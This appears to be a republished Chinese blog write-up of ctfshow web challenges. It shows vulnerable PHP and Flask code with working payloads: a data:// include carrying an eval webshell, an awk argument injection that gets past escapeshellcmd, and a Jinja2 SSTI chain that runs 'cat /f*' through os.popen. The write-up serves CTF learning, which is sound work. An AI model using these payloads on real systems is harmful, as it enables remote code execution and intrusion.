当前位置: 首页 > news >正文

ctfshow web 单身杯

web签到

<?phperror_reporting(0);
highlight_file(__FILE__);$file = $_POST['file'];if(isset($file)){if(strrev($file)==$file){  //翻转函数include $file;}}

要进行反转并且包含文件用data协议
自己写不好写可以用函数帮你翻转

<?php 
$a='data:text/plain,<?=eval($_GET[a]);?>';
echo strrev($a);
?>
file=data:text/plain,<?=eval($_GET[a]);?>>?;)]a[TEG_$(lave=?<,nialp/txet:atad

进行RCE即可

easyPHP

<?phperror_reporting(0);
highlight_file(__FILE__);$cmd = $_POST['cmd'];
$param = $_POST['param'];if(isset($cmd) && isset($param)){$cmd=escapeshellcmd(substr($cmd,0,3))." ".escapeshellarg($param)." ".__FILE__;shell_exec($cmd);
}

这里是截取cmd的前三个字符

escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。反斜线(\)会在以下字符之前插入:&#;`|*?~<>^()[]{}$\、\x0A 和 \xFF。 ' 和 " 仅在不配对儿的时候被转义。在 Windows 平台上,所有这些字符以及 % 和 ! 字符前面都有一个插入符号(^)。
escapeshellarg() 将给字符串增加一个单引号并且能引用或者转义任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含exec()、system() 和执行运算符 。在 Windows 上,escapeshellarg() 用空格替换了百分号、感叹号(延迟变量替换)和双引号,并在字符串两边加上双引号。此外,每条连续的反斜线(\)都会被一个额外的反斜线所转义
cmd=awk&param={system("ls / > a");}

在这里插入图片描述
然后就构成命令了
但是我不是习惯写shell的题嘛,所以我在构造命令的时候写的单引号,结果是不行,为此我还专门去搜索了二者的不同

对于perl文件中定义的变量,为了在system中能被正确使用,要使用双引号;如果为了shell
变量能被shell读到,要使用单引号,否则shell看不到美元符号,因为perl会将它用值替换。

不理解很正常我也有点不懂反正多试试
awk命令是一个Linux命令,可以去学学

姻缘测试

在这里插入图片描述

def is_hacker(string): """整那些个花里胡哨的waf有啥用,还不如这一个,直接杜绝SSTI""" if "{" in string and "}" in string : return True else: return False

但是不知道注入点在哪里,抓包看看
在这里插入图片描述

?boy_name={{'&girl_name='.__class__.__base__.__subclasses__()[81].__init__.__globals__.__import__('os').popen('cat /f*').read()}}
所以就是每个参数都要有'{'不然报错,根据这个进行ssti

blog

http://www.lryc.cn/news/375139.html

相关文章:

  • 天锐绿盾加密软件,它的适用范围是什么?
  • mysql面试题 Day2
  • Excel加密怎么设置?这5个方法不容错过!(2024总结)
  • 2024年下一个风口是什么?萤领优选 轻资产创业项目全国诚招合伙人
  • Redis 网络模型
  • 【设计模式之组合模式 -- C++】
  • C# 通过Win32API设置客户端系统时间
  • VirtualHere 允许通过网络远程使用 USB 设备,就像本地连接一样!
  • 【Kubernetes】k8s 自动伸缩机制—— HPA 部署
  • MT1415 大小相同
  • 使用python库moviepy完成视频剪辑
  • Java高手的30k之路|面试宝典|精通泛型
  • 清理Linux操作系统buff/cache缓存
  • 接口测试的几种方法
  • OpenGL3.3_C++_Windows(3)
  • 24执业药师报名时间汇总及报名流程!
  • 成都跃享未来教育咨询解锁新篇章
  • 怎么把网页上的接口信息导入postman
  • 10KM无人机高清图传通信模组,低延迟、抗干扰,飞睿智能无线MESH组网模块
  • 分布式文件存储 - - - MinIO从入门到飞翔
  • Python界面编辑器Tkinter布局助手 使用体验
  • 嵌入式操作系统_2.嵌入式操作系统的一般架构
  • docker 容器 network host 模式启动
  • 群晖NAS安装配置Joplin Server用来存储同步Joplin笔记内容
  • leetcode-08-[151]翻转字符串里的单词[卡码网55]右旋转字符串
  • Json-server 的使用教程
  • LLM中表格处理与多模态表格理解
  • 短剧系统搭建全攻略:功能齐全,一步到位
  • 【Linux】进程_7
  • 从中概回购潮,看互联网的未来